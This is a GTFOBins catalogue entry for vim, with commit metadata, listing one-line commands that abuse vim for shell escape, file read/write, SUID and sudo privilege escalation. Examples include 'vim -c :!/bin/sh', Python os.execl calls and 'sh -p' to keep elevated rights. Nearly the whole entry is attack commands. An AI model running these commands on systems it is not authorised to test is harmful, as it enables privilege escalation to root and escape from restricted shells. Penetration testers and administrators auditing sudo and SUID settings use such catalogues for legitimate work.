GTFOBins.github.io/_gtfobins/vim.md
Andrea Cardaci 32b113b003 Fix and add SUID to other vi
Related to #39.
2018-12-03 16:00:11 +01:00

846 B

functions
shell file-write file-read suid sudo
code
vim -c ':!/bin/sh'
code
vim :set shell=/bin/sh :shell
description code
This requires that `vim` is compiled with Python support. vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
code
vim file_to_write iDATA ^[ w
code
vim file_to_read
code
./vim -c ':!/bin/sh -p'
description code
This requires that `vim` is compiled with Python support. ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
code
sudo vim -c ':!/bin/sh'
description code
This requires that `vim` is compiled with Python support. sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'